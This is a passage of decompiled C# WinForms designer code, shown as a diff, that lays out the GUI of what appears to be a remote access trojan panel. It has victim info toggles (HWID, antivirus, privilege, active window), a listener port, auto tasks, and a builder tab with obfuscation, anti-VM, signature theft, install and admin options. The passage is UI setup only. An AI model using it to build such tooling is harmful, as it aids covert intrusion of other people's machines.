+ this.metroToggle17.Checked = true; + this.metroToggle17.CheckState = CheckState.Checked; + this.metroToggle17.Location = new Point(209, 104); + this.metroToggle17.Name = "metroToggle17"; + this.metroToggle17.Size = new Size(80 /*0x50*/, 17); + this.metroToggle17.Style = MetroColorStyle.Lime; + this.metroToggle17.TabIndex = 41; + this.metroToggle17.Text = "On"; + this.metroToggle17.Theme = MetroThemeStyle.Dark; + this.metroToggle17.UseSelectable = true; + this.metroToggle17.UseStyleColors = true; + this.metroToggle17.CheckedChanged += new EventHandler(this.metroToggle17_CheckedChanged); + this.metroLabel19.AutoSize = true; + this.metroLabel19.Location = new Point(89, 360); + this.metroLabel19.Name = "metroLabel19"; + this.metroLabel19.Size = new Size(87, 19); + this.metroLabel19.Style = MetroColorStyle.Lime; + this.metroLabel19.TabIndex = 40; + this.metroLabel19.Text = "<- Show Gpu"; + this.metroLabel19.Theme = MetroThemeStyle.Dark; + this.metroLabel19.UseStyleColors = true; + this.metroToggle18.AutoSize = true; + this.metroToggle18.Checked = true; + this.metroToggle18.CheckState = CheckState.Checked; + this.metroToggle18.Location = new Point(3, 360); + this.metroToggle18.Name = "metroToggle18"; + this.metroToggle18.Size = new Size(80 /*0x50*/, 17); + this.metroToggle18.Style = MetroColorStyle.Lime; + this.metroToggle18.TabIndex = 39; + this.metroToggle18.Text = "On"; + this.metroToggle18.Theme = MetroThemeStyle.Dark; + this.metroToggle18.UseSelectable = true; + this.metroToggle18.UseStyleColors = true; + this.metroToggle18.CheckedChanged += new EventHandler(this.metroToggle18_CheckedChanged); + this.metroLabel20.AutoSize = true; + this.metroLabel20.Location = new Point(89, 337); + this.metroLabel20.Name = "metroLabel20"; + this.metroLabel20.Size = new Size(87, 19); + this.metroLabel20.Style = MetroColorStyle.Lime; + this.metroLabel20.TabIndex = 38; + this.metroLabel20.Text = "<- Show Cpu"; + this.metroLabel20.Theme = MetroThemeStyle.Dark; + this.metroLabel20.UseStyleColors = true; + this.metroToggle19.AutoSize = true; + this.metroToggle19.Checked = true; + this.metroToggle19.CheckState = CheckState.Checked; + this.metroToggle19.Location = new Point(3, 337); + this.metroToggle19.Name = "metroToggle19"; + this.metroToggle19.Size = new Size(80 /*0x50*/, 17); + this.metroToggle19.Style = MetroColorStyle.Lime; + this.metroToggle19.TabIndex = 37; + this.metroToggle19.Text = "On"; + this.metroToggle19.Theme = MetroThemeStyle.Dark; + this.metroToggle19.UseSelectable = true; + this.metroToggle19.UseStyleColors = true; + this.metroToggle19.CheckedChanged += new EventHandler(this.metroToggle19_CheckedChanged); + this.metroLabel14.AutoSize = true; + this.metroLabel14.Location = new Point(295, 335); + this.metroLabel14.Name = "metroLabel14"; + this.metroLabel14.Size = new Size(150, 19); + this.metroLabel14.Style = MetroColorStyle.Lime; + this.metroLabel14.TabIndex = 36; + this.metroLabel14.Text = "<- Show Active Window"; + this.metroLabel14.Theme = MetroThemeStyle.Dark; + this.metroLabel14.UseStyleColors = true; + this.metroToggle13.AutoSize = true; + this.metroToggle13.Checked = true; + this.metroToggle13.CheckState = CheckState.Checked; + this.metroToggle13.Location = new Point(209, 335); + this.metroToggle13.Name = "metroToggle13"; + this.metroToggle13.Size = new Size(80 /*0x50*/, 17); + this.metroToggle13.Style = MetroColorStyle.Lime; + this.metroToggle13.TabIndex = 35; + this.metroToggle13.Text = "On"; + this.metroToggle13.Theme = MetroThemeStyle.Dark; + this.metroToggle13.UseSelectable = true; + this.metroToggle13.UseStyleColors = true; + this.metroToggle13.CheckedChanged += new EventHandler(this.metroToggle13_CheckedChanged); + this.metroLabel15.AutoSize = true; + this.metroLabel15.Location = new Point(295, 312); + this.metroLabel15.Name = "metroLabel15"; + this.metroLabel15.Size = new Size(89, 19); + this.metroLabel15.Style = MetroColorStyle.Lime; + this.metroLabel15.TabIndex = 34; + this.metroLabel15.Text = "<- Show Ping"; + this.metroLabel15.Theme = MetroThemeStyle.Dark; + this.metroLabel15.UseStyleColors = true; + this.metroToggle14.AutoSize = true; + this.metroToggle14.Checked = true; + this.metroToggle14.CheckState = CheckState.Checked; + this.metroToggle14.Location = new Point(209, 312); + this.metroToggle14.Name = "metroToggle14"; + this.metroToggle14.Size = new Size(80 /*0x50*/, 17); + this.metroToggle14.Style = MetroColorStyle.Lime; + this.metroToggle14.TabIndex = 33; + this.metroToggle14.Text = "On"; + this.metroToggle14.Theme = MetroThemeStyle.Dark; + this.metroToggle14.UseSelectable = true; + this.metroToggle14.UseStyleColors = true; + this.metroToggle14.CheckedChanged += new EventHandler(this.metroToggle14_CheckedChanged); + this.metroLabel16.AutoSize = true; + this.metroLabel16.Location = new Point(295, 289); + this.metroLabel16.Name = "metroLabel16"; + this.metroLabel16.Size = new Size(114, 19); + this.metroLabel16.Style = MetroColorStyle.Lime; + this.metroLabel16.TabIndex = 32 /*0x20*/; + this.metroLabel16.Text = "<- Show AntiVirus"; + this.metroLabel16.Theme = MetroThemeStyle.Dark; + this.metroLabel16.UseStyleColors = true; + this.metroToggle15.AutoSize = true; + this.metroToggle15.Checked = true; + this.metroToggle15.CheckState = CheckState.Checked; + this.metroToggle15.Location = new Point(209, 289); + this.metroToggle15.Name = "metroToggle15"; + this.metroToggle15.Size = new Size(80 /*0x50*/, 17); + this.metroToggle15.Style = MetroColorStyle.Lime; + this.metroToggle15.TabIndex = 31 /*0x1F*/; + this.metroToggle15.Text = "On"; + this.metroToggle15.Theme = MetroThemeStyle.Dark; + this.metroToggle15.UseSelectable = true; + this.metroToggle15.UseStyleColors = true; + this.metroToggle15.CheckedChanged += new EventHandler(this.metroToggle15_CheckedChanged); + this.metroLabel17.AutoSize = true; + this.metroLabel17.Location = new Point(295, 266); + this.metroLabel17.Name = "metroLabel17"; + this.metroLabel17.Size = new Size(113, 19); + this.metroLabel17.Style = MetroColorStyle.Lime; + this.metroLabel17.TabIndex = 30; + this.metroLabel17.Text = "<- Show Privilege"; + this.metroLabel17.Theme = MetroThemeStyle.Dark; + this.metroLabel17.UseStyleColors = true; + this.metroToggle16.AutoSize = true; + this.metroToggle16.Checked = true; + this.metroToggle16.CheckState = CheckState.Checked; + this.metroToggle16.Location = new Point(209, 266); + this.metroToggle16.Name = "metroToggle16"; + this.metroToggle16.Size = new Size(80 /*0x50*/, 17); + this.metroToggle16.Style = MetroColorStyle.Lime; + this.metroToggle16.TabIndex = 29; + this.metroToggle16.Text = "On"; + this.metroToggle16.Theme = MetroThemeStyle.Dark; + this.metroToggle16.UseSelectable = true; + this.metroToggle16.UseStyleColors = true; + this.metroToggle16.CheckedChanged += new EventHandler(this.metroToggle16_CheckedChanged); + this.metroLabel10.AutoSize = true; + this.metroLabel10.Location = new Point(295, 242); + this.metroLabel10.Name = "metroLabel10"; + this.metroLabel10.Size = new Size(128 /*0x80*/, 19); + this.metroLabel10.Style = MetroColorStyle.Lime; + this.metroLabel10.TabIndex = 28; + this.metroLabel10.Text = "<- Show Time Install"; + this.metroLabel10.Theme = MetroThemeStyle.Dark; + this.metroLabel10.UseStyleColors = true; + this.metroToggle9.AutoSize = true; + this.metroToggle9.Checked = true; + this.metroToggle9.CheckState = CheckState.Checked; + this.metroToggle9.Location = new Point(209, 242); + this.metroToggle9.Name = "metroToggle9"; + this.metroToggle9.Size = new Size(80 /*0x50*/, 17); + this.metroToggle9.Style = MetroColorStyle.Lime; + this.metroToggle9.TabIndex = 27; + this.metroToggle9.Text = "On"; + this.metroToggle9.Theme = MetroThemeStyle.Dark; + this.metroToggle9.UseSelectable = true; + this.metroToggle9.UseStyleColors = true; + this.metroToggle9.CheckedChanged += new EventHandler(this.metroToggle9_CheckedChanged); + this.metroLabel11.AutoSize = true; + this.metroLabel11.Location = new Point(295, 219); + this.metroLabel11.Name = "metroLabel11"; + this.metroLabel11.Size = new Size(142, 19); + this.metroLabel11.Style = MetroColorStyle.Lime; + this.metroLabel11.TabIndex = 26; + this.metroLabel11.Text = "<- Show Client Version"; + this.metroLabel11.Theme = MetroThemeStyle.Dark; + this.metroLabel11.UseStyleColors = true; + this.metroToggle10.AutoSize = true; + this.metroToggle10.Checked = true; + this.metroToggle10.CheckState = CheckState.Checked; + this.metroToggle10.Location = new Point(209, 219); + this.metroToggle10.Name = "metroToggle10"; + this.metroToggle10.Size = new Size(80 /*0x50*/, 17); + this.metroToggle10.Style = MetroColorStyle.Lime; + this.metroToggle10.TabIndex = 25; + this.metroToggle10.Text = "On"; + this.metroToggle10.Theme = MetroThemeStyle.Dark; + this.metroToggle10.UseSelectable = true; + this.metroToggle10.UseStyleColors = true; + this.metroToggle10.CheckedChanged += new EventHandler(this.metroToggle10_CheckedChanged); + this.metroLabel12.AutoSize = true; + this.metroLabel12.Location = new Point(295, 196); + this.metroLabel12.Name = "metroLabel12"; + this.metroLabel12.Size = new Size(162, 19); + this.metroLabel12.Style = MetroColorStyle.Lime; + this.metroLabel12.TabIndex = 24; + this.metroLabel12.Text = "<- Show Windows Version"; + this.metroLabel12.Theme = MetroThemeStyle.Dark; + this.metroLabel12.UseStyleColors = true; + this.metroToggle11.AutoSize = true; + this.metroToggle11.Checked = true; + this.metroToggle11.CheckState = CheckState.Checked; + this.metroToggle11.Location = new Point(209, 196); + this.metroToggle11.Name = "metroToggle11"; + this.metroToggle11.Size = new Size(80 /*0x50*/, 17); + this.metroToggle11.Style = MetroColorStyle.Lime; + this.metroToggle11.TabIndex = 23; + this.metroToggle11.Text = "On"; + this.metroToggle11.Theme = MetroThemeStyle.Dark; + this.metroToggle11.UseSelectable = true; + this.metroToggle11.UseStyleColors = true; + this.metroToggle11.CheckedChanged += new EventHandler(this.metroToggle11_CheckedChanged); + this.metroLabel13.AutoSize = true; + this.metroLabel13.Location = new Point(89, 289); + this.metroLabel13.Name = "metroLabel13"; + this.metroLabel13.Size = new Size(123, 19); + this.metroLabel13.Style = MetroColorStyle.Lime; + this.metroLabel13.TabIndex = 22; + this.metroLabel13.Text = "<- Show Computer"; + this.metroLabel13.Theme = MetroThemeStyle.Dark; + this.metroLabel13.UseStyleColors = true; + this.metroToggle12.AutoSize = true; + this.metroToggle12.Checked = true; + this.metroToggle12.CheckState = CheckState.Checked; + this.metroToggle12.Location = new Point(3, 289); + this.metroToggle12.Name = "metroToggle12"; + this.metroToggle12.Size = new Size(80 /*0x50*/, 17); + this.metroToggle12.Style = MetroColorStyle.Lime; + this.metroToggle12.TabIndex = 21; + this.metroToggle12.Text = "On"; + this.metroToggle12.Theme = MetroThemeStyle.Dark; + this.metroToggle12.UseSelectable = true; + this.metroToggle12.UseStyleColors = true; + this.metroToggle12.CheckedChanged += new EventHandler(this.metroToggle12_CheckedChanged); + this.metroLabel6.AutoSize = true; + this.metroLabel6.Location = new Point(89, 266); + this.metroLabel6.Name = "metroLabel6"; + this.metroLabel6.Size = new Size(76, 19); + this.metroLabel6.Style = MetroColorStyle.Lime; + this.metroLabel6.TabIndex = 20; + this.metroLabel6.Text = "<- Show Pc"; + this.metroLabel6.Theme = MetroThemeStyle.Dark; + this.metroLabel6.UseStyleColors = true; + this.metroToggle5.AutoSize = true; + this.metroToggle5.Checked = true; + this.metroToggle5.CheckState = CheckState.Checked; + this.metroToggle5.Location = new Point(3, 266); + this.metroToggle5.Name = "metroToggle5"; + this.metroToggle5.Size = new Size(80 /*0x50*/, 17); + this.metroToggle5.Style = MetroColorStyle.Lime; + this.metroToggle5.TabIndex = 19; + this.metroToggle5.Text = "On"; + this.metroToggle5.Theme = MetroThemeStyle.Dark; + this.metroToggle5.UseSelectable = true; + this.metroToggle5.UseStyleColors = true; + this.metroToggle5.CheckedChanged += new EventHandler(this.metroToggle5_CheckedChanged); + this.metroLabel7.AutoSize = true; + this.metroLabel7.Location = new Point(89, 243); + this.metroLabel7.Name = "metroLabel7"; + this.metroLabel7.Size = new Size(89, 19); + this.metroLabel7.Style = MetroColorStyle.Lime; + this.metroLabel7.TabIndex = 18; + this.metroLabel7.Text = "<- Show User"; + this.metroLabel7.Theme = MetroThemeStyle.Dark; + this.metroLabel7.UseStyleColors = true; + this.metroToggle6.AutoSize = true; + this.metroToggle6.Checked = true; + this.metroToggle6.CheckState = CheckState.Checked; + this.metroToggle6.Location = new Point(3, 243); + this.metroToggle6.Name = "metroToggle6"; + this.metroToggle6.Size = new Size(80 /*0x50*/, 17); + this.metroToggle6.Style = MetroColorStyle.Lime; + this.metroToggle6.TabIndex = 17; + this.metroToggle6.Text = "On"; + this.metroToggle6.Theme = MetroThemeStyle.Dark; + this.metroToggle6.UseSelectable = true; + this.metroToggle6.UseStyleColors = true; + this.metroToggle6.CheckedChanged += new EventHandler(this.metroToggle6_CheckedChanged); + this.metroLabel8.AutoSize = true; + this.metroLabel8.Location = new Point(89, 220); + this.metroLabel8.Name = "metroLabel8"; + this.metroLabel8.Size = new Size(90, 19); + this.metroLabel8.Style = MetroColorStyle.Lime; + this.metroLabel8.TabIndex = 16 /*0x10*/; + this.metroLabel8.Text = "<- Show hwid"; + this.metroLabel8.Theme = MetroThemeStyle.Dark; + this.metroLabel8.UseStyleColors = true; + this.metroToggle7.AutoSize = true; + this.metroToggle7.Checked = true; + this.metroToggle7.CheckState = CheckState.Checked; + this.metroToggle7.Location = new Point(3, 220); + this.metroToggle7.Name = "metroToggle7"; + this.metroToggle7.Size = new Size(80 /*0x50*/, 17); + this.metroToggle7.Style = MetroColorStyle.Lime; + this.metroToggle7.TabIndex = 15; + this.metroToggle7.Text = "On"; + this.metroToggle7.Theme = MetroThemeStyle.Dark; + this.metroToggle7.UseSelectable = true; + this.metroToggle7.UseStyleColors = true; + this.metroToggle7.CheckedChanged += new EventHandler(this.metroToggle7_CheckedChanged); + this.metroLabel9.AutoSize = true; + this.metroLabel9.Location = new Point(89, 197); + this.metroLabel9.Name = "metroLabel9"; + this.metroLabel9.Size = new Size(88, 19); + this.metroLabel9.Style = MetroColorStyle.Lime; + this.metroLabel9.TabIndex = 14; + this.metroLabel9.Text = "<- Show Flag"; + this.metroLabel9.Theme = MetroThemeStyle.Dark; + this.metroLabel9.UseStyleColors = true; + this.metroToggle8.AutoSize = true; + this.metroToggle8.Checked = true; + this.metroToggle8.CheckState = CheckState.Checked; + this.metroToggle8.Location = new Point(3, 197); + this.metroToggle8.Name = "metroToggle8"; + this.metroToggle8.Size = new Size(80 /*0x50*/, 17); + this.metroToggle8.Style = MetroColorStyle.Lime; + this.metroToggle8.TabIndex = 13; + this.metroToggle8.Text = "On"; + this.metroToggle8.Theme = MetroThemeStyle.Dark; + this.metroToggle8.UseSelectable = true; + this.metroToggle8.UseStyleColors = true; + this.metroToggle8.CheckedChanged += new EventHandler(this.metroToggle8_CheckedChanged); + this.metroLabel5.AutoSize = true; + this.metroLabel5.Location = new Point(89, 174); + this.metroLabel5.Name = "metroLabel5"; + this.metroLabel5.Size = new Size(110, 19); + this.metroLabel5.Style = MetroColorStyle.Lime; + this.metroLabel5.TabIndex = 12; + this.metroLabel5.Text = "<- Show Country"; + this.metroLabel5.Theme = MetroThemeStyle.Dark; + this.metroLabel5.UseStyleColors = true; + this.metroToggle4.AutoSize = true; + this.metroToggle4.Checked = true; + this.metroToggle4.CheckState = CheckState.Checked; + this.metroToggle4.Location = new Point(3, 174); + this.metroToggle4.Name = "metroToggle4"; + this.metroToggle4.Size = new Size(80 /*0x50*/, 17); + this.metroToggle4.Style = MetroColorStyle.Lime; + this.metroToggle4.TabIndex = 11; + this.metroToggle4.Text = "On"; + this.metroToggle4.Theme = MetroThemeStyle.Dark; + this.metroToggle4.UseSelectable = true; + this.metroToggle4.UseStyleColors = true; + this.metroToggle4.CheckedChanged += new EventHandler(this.metroToggle4_CheckedChanged); + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(89, 151); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(100, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 10; + this.metroLabel4.Text = "<- Show Group"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.metroToggle3.AutoSize = true; + this.metroToggle3.Checked = true; + this.metroToggle3.CheckState = CheckState.Checked; + this.metroToggle3.Location = new Point(3, 151); + this.metroToggle3.Name = "metroToggle3"; + this.metroToggle3.Size = new Size(80 /*0x50*/, 17); + this.metroToggle3.Style = MetroColorStyle.Lime; + this.metroToggle3.TabIndex = 9; + this.metroToggle3.Text = "On"; + this.metroToggle3.Theme = MetroThemeStyle.Dark; + this.metroToggle3.UseSelectable = true; + this.metroToggle3.UseStyleColors = true; + this.metroToggle3.CheckedChanged += new EventHandler(this.metroToggle3_CheckedChanged); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(89, 128 /*0x80*/); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(74, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 8; + this.metroLabel3.Text = "<- Show Ip"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroToggle2.AutoSize = true; + this.metroToggle2.Checked = true; + this.metroToggle2.CheckState = CheckState.Checked; + this.metroToggle2.Location = new Point(3, 128 /*0x80*/); + this.metroToggle2.Name = "metroToggle2"; + this.metroToggle2.Size = new Size(80 /*0x50*/, 17); + this.metroToggle2.Style = MetroColorStyle.Lime; + this.metroToggle2.TabIndex = 7; + this.metroToggle2.Text = "On"; + this.metroToggle2.Theme = MetroThemeStyle.Dark; + this.metroToggle2.UseSelectable = true; + this.metroToggle2.UseStyleColors = true; + this.metroToggle2.CheckedChanged += new EventHandler(this.metroToggle2_CheckedChanged); + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(89, 105); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(102, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 6; + this.metroLabel2.Text = "<- Show Screen"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroToggle1.AutoSize = true; + this.metroToggle1.Checked = true; + this.metroToggle1.CheckState = CheckState.Checked; + this.metroToggle1.Location = new Point(3, 105); + this.metroToggle1.Name = "metroToggle1"; + this.metroToggle1.Size = new Size(80 /*0x50*/, 17); + this.metroToggle1.Style = MetroColorStyle.Lime; + this.metroToggle1.TabIndex = 5; + this.metroToggle1.Text = "On"; + this.metroToggle1.Theme = MetroThemeStyle.Dark; + this.metroToggle1.UseSelectable = true; + this.metroToggle1.UseStyleColors = true; + this.metroToggle1.CheckedChanged += new EventHandler(this.metroToggle1_CheckedChanged); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(98, 16 /*0x10*/); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(91, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 4; + this.metroLabel1.Text = "<- port listing"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroButton1.Location = new Point(3, 45); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(89, 23); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 3; + this.metroButton1.Text = "Start"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.metroTextBox1.CustomButton.Image = (Image) null; + this.metroTextBox1.CustomButton.Location = new Point(67, 1); + this.metroTextBox1.CustomButton.Name = ""; + this.metroTextBox1.CustomButton.Size = new Size(21, 21); + this.metroTextBox1.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox1.CustomButton.TabIndex = 1; + this.metroTextBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox1.CustomButton.UseSelectable = true; + this.metroTextBox1.CustomButton.Visible = false; + this.metroTextBox1.Lines = new string[1]{ "2133" }; + this.metroTextBox1.Location = new Point(3, 16 /*0x10*/); + this.metroTextBox1.MaxLength = (int) short.MaxValue; + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.PasswordChar = char.MinValue; + this.metroTextBox1.ScrollBars = ScrollBars.None; + this.metroTextBox1.SelectedText = ""; + this.metroTextBox1.SelectionLength = 0; + this.metroTextBox1.SelectionStart = 0; + this.metroTextBox1.ShortcutsEnabled = true; + this.metroTextBox1.Size = new Size(89, 23); + this.metroTextBox1.Style = MetroColorStyle.Lime; + this.metroTextBox1.TabIndex = 2; + this.metroTextBox1.Text = "2133"; + this.metroTextBox1.Theme = MetroThemeStyle.Dark; + this.metroTextBox1.UseSelectable = true; + this.metroTextBox1.UseStyleColors = true; + this.metroTextBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroTabPage4.Controls.Add((Control) this.GridAutoTasks); + this.metroTabPage4.HorizontalScrollbarBarColor = true; + this.metroTabPage4.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage4.HorizontalScrollbarSize = 0; + this.metroTabPage4.Location = new Point(4, 38); + this.metroTabPage4.Name = "metroTabPage4"; + this.metroTabPage4.Size = new Size(1395, 476); + this.metroTabPage4.TabIndex = 3; + this.metroTabPage4.Text = "Auto Tasks"; + this.metroTabPage4.Theme = MetroThemeStyle.Dark; + this.metroTabPage4.VerticalScrollbarBarColor = true; + this.metroTabPage4.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage4.VerticalScrollbarSize = 0; + this.GridAutoTasks.AllowUserToAddRows = false; + this.GridAutoTasks.AllowUserToDeleteRows = false; + this.GridAutoTasks.AllowUserToResizeColumns = false; + this.GridAutoTasks.AllowUserToResizeRows = false; + this.GridAutoTasks.BackgroundColor = Color.FromArgb(17, 17, 17); + this.GridAutoTasks.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.GridAutoTasks.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.GridAutoTasks.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + this.GridAutoTasks.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.GridAutoTasks.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.GridAutoTasks.ContextMenuStrip = this.contextMenuForTasks; + this.GridAutoTasks.Cursor = Cursors.Default; + this.GridAutoTasks.DefaultCellStyle = gridViewCellStyle2; + this.GridAutoTasks.Dock = DockStyle.Fill; + this.GridAutoTasks.EnableHeadersVisualStyles = false; + this.GridAutoTasks.GridColor = Color.FromArgb(17, 17, 17); + this.GridAutoTasks.Location = new Point(0, 0); + this.GridAutoTasks.Name = "GridAutoTasks"; + this.GridAutoTasks.ReadOnly = true; + this.GridAutoTasks.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + this.GridAutoTasks.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.GridAutoTasks.RowHeadersVisible = false; + this.GridAutoTasks.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.GridAutoTasks.ShowCellErrors = false; + this.GridAutoTasks.ShowCellToolTips = false; + this.GridAutoTasks.ShowEditingIcon = false; + this.GridAutoTasks.ShowRowErrors = false; + this.GridAutoTasks.Size = new Size(1395, 476); + this.GridAutoTasks.TabIndex = 6; + this.contextMenuForTasks.Items.AddRange(new ToolStripItem[2] + { + (ToolStripItem) this.toolStripMenuItem1, + (ToolStripItem) this.addToolStripMenuItem + }); + this.contextMenuForTasks.Name = "contextMenuStrip1"; + this.contextMenuForTasks.ShowImageMargin = false; + this.contextMenuForTasks.Size = new Size(93, 48 /*0x30*/); + this.toolStripMenuItem1.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new Size(92, 22); + this.toolStripMenuItem1.Text = "Remove"; + this.toolStripMenuItem1.Click += new EventHandler(this.toolStripMenuItem1_Click); + this.addToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.addToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.addToolStripMenuItem.Name = "addToolStripMenuItem"; + this.addToolStripMenuItem.Size = new Size(92, 22); + this.addToolStripMenuItem.Text = "Add"; + this.addToolStripMenuItem.Click += new EventHandler(this.addToolStripMenuItem_Click); + this.metroTabPage6.Controls.Add((Control) this.metroButton7); + this.metroTabPage6.Controls.Add((Control) this.metroCheckBox1); + this.metroTabPage6.Controls.Add((Control) this.metroLabel47); + this.metroTabPage6.Controls.Add((Control) this.metroTextBoxPasteBin); + this.metroTabPage6.Controls.Add((Control) this.metroButton6); + this.metroTabPage6.Controls.Add((Control) this.metroButton5); + this.metroTabPage6.Controls.Add((Control) this.metroButton4); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxSigTheif); + this.metroTabPage6.Controls.Add((Control) this.ButtonSelectSigTheif); + this.metroTabPage6.Controls.Add((Control) this.GridIps); + this.metroTabPage6.Controls.Add((Control) this.ProxyCall); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxJumpCtrlFlow); + this.metroTabPage6.Controls.Add((Control) this.numericUpDown1); + this.metroTabPage6.Controls.Add((Control) this.ObfuscationJunkCode); + this.metroTabPage6.Controls.Add((Control) this.ObfusctationArithmetic); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxProxyString); + this.metroTabPage6.Controls.Add((Control) this.metroButton3); + this.metroTabPage6.Controls.Add((Control) this.metroButton2); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxRename); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxAntiVirtual); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxCtrlFlow); + this.metroTabPage6.Controls.Add((Control) this.TextBoxTaskSaveAdmin); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxIco); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxAssembly); + this.metroTabPage6.Controls.Add((Control) this.ButtonCopyAssembly); + this.metroTabPage6.Controls.Add((Control) this.TextBoxFileVersion); + this.metroTabPage6.Controls.Add((Control) this.metroLabel37); + this.metroTabPage6.Controls.Add((Control) this.metroLabel38); + this.metroTabPage6.Controls.Add((Control) this.metroLabel39); + this.metroTabPage6.Controls.Add((Control) this.metroLabel40); + this.metroTabPage6.Controls.Add((Control) this.metroLabel41); + this.metroTabPage6.Controls.Add((Control) this.metroLabel42); + this.metroTabPage6.Controls.Add((Control) this.metroLabel43); + this.metroTabPage6.Controls.Add((Control) this.metroLabel44); + this.metroTabPage6.Controls.Add((Control) this.TextBoxProductVersion); + this.metroTabPage6.Controls.Add((Control) this.TextBoxOriginalFileName); + this.metroTabPage6.Controls.Add((Control) this.TextBoxTrademarks); + this.metroTabPage6.Controls.Add((Control) this.TextBoxCopyright); + this.metroTabPage6.Controls.Add((Control) this.TextBoxCompany); + this.metroTabPage6.Controls.Add((Control) this.TextBoxDescription); + this.metroTabPage6.Controls.Add((Control) this.TextBoxProduct); + this.metroTabPage6.Controls.Add((Control) this.metroLabel29); + this.metroTabPage6.Controls.Add((Control) this.metroLabel28); + this.metroTabPage6.Controls.Add((Control) this.TextBoxMutex); + this.metroTabPage6.Controls.Add((Control) this.TextBoxGroup); + this.metroTabPage6.Controls.Add((Control) this.ButtonSelectIco); + this.metroTabPage6.Controls.Add((Control) this.pictureBoxIco); + this.metroTabPage6.Controls.Add((Control) this.panel1); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxAdminGet); + this.metroTabPage6.Controls.Add((Control) this.CheckBoxInstall); + this.metroTabPage6.Controls.Add((Control) this.ButtonRemoveIp); + this.metroTabPage6.Controls.Add((Control) this.ButtonIpAdd); + this.metroTabPage6.Controls.Add((Control) this.TextBoxIp); + this.metroTabPage6.Controls.Add((Control) this.metroLabel24); + this.metroTabPage6.HorizontalScrollbarBarColor = true; + this.metroTabPage6.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage6.HorizontalScrollbarSize = 10; + this.metroTabPage6.Location = new Point(4, 38); + this.metroTabPage6.Name = "metroTabPage6"; + this.metroTabPage6.Size = new Size(1395, 476); + this.metroTabPage6.TabIndex = 5; + this.metroTabPage6.Text = "Builder"; + this.metroTabPage6.Theme = MetroThemeStyle.Dark; + this.metroTabPage6.VerticalScrollbarBarColor = true; + this.metroTabPage6.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage6.VerticalScrollbarSize = 10; + this.metroButton7.Location = new Point(862, 174); + this.metroButton7.Name = "metroButton7"; + this.metroButton7.Size = new Size(108, 33); + this.metroButton7.Style = MetroColorStyle.Lime; + this.metroButton7.TabIndex = 188; + this.metroButton7.Text = "Generate settings"; + this.metroButton7.Theme = MetroThemeStyle.Dark; + this.metroButton7.UseSelectable = true; + this.metroButton7.UseStyleColors = true; + this.metroButton7.Click += new EventHandler(this.metroButton7_Click); + this.metroCheckBox1.AutoSize = true; + this.metroCheckBox1.Location = new Point(3, 356); + this.metroCheckBox1.Name = "metroCheckBox1"; + this.metroCheckBox1.Size = new Size(68, 15); + this.metroCheckBox1.Style = MetroColorStyle.Lime; + this.metroCheckBox1.TabIndex = 86; + this.metroCheckBox1.Text = "PasteBin"; + this.metroCheckBox1.Theme = MetroThemeStyle.Dark; + this.metroCheckBox1.UseSelectable = true; + this.metroCheckBox1.UseStyleColors = true; + this.metroCheckBox1.CheckedChanged += new EventHandler(this.metroCheckBox1_CheckedChanged); + this.metroLabel47.AutoSize = true; + this.metroLabel47.Location = new Point(52, 302); + this.metroLabel47.Name = 